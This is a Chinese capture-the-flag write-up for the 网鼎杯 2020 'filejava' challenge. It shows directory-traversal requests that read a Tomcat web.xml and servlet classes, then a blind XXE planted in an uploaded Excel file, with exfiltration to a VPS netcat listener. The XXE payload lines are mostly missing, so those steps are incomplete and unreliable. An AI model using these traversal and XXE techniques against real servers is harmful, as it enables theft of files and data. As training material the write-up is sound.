java神器青龙_[网鼎杯 2020 青龙组]filejava

知识点

web.xml文件泄露

blind xxe

随便上传一个文件，然后点击下载，抓包

看到有filename，猜测可能存在目录穿越以及任意文件下载

尝试

filename=../

看到有一个路径，里面有WEB-INF，题目提示与java有关，那应该是web.xml文件泄露，尝试读取

DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml

这里的读取我是又抓了一次包，把上面repeater的报文复制到proxy，再Forward下载文件

其实不需要这么麻烦，上图右半部分已经给出了三个class文件的地址，下下来就行了

repeater中

DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/cn/abc/servlet/DownloadServlet.class

repeater重放就能发现有东西，重新点一次下载，将repeater的报文复制到proxy里，点击Forward，就可以下载到DownloadServlet.class文件

按照这个方法，依次下载web.xml中出现的DownloadServlet.class，ListFileServlet.class，UploadServlet.class等三个class文件

对这些class文件进行反编译，我用的jd-gui

代码太多，只贴关键的

这里是一个excel和xxe漏洞的结合，CVE-2014-3529

这里需要用到vps，因为是在buu上复现的，所以注册一个小号，开一台靶机就行

新建一个excel-123456.xlsx文件，后缀名改成zip。注意，修改zip文件的时候，最后用WinRAR打开修改，完事直接保存，若是先解压，修改完了再压缩，有可能出问题。接下来就是在里面的[Content_Types].xml的第二行加入

%remote;%int;%send;

]>

然后在靶机的/var/www/html目录下新建一个file.dtd文件，内容为

">

然后就是监听

nc -lvvp 9999

紧接着上传excel-123456.xlsx文件，在靶机处接收到flag

参考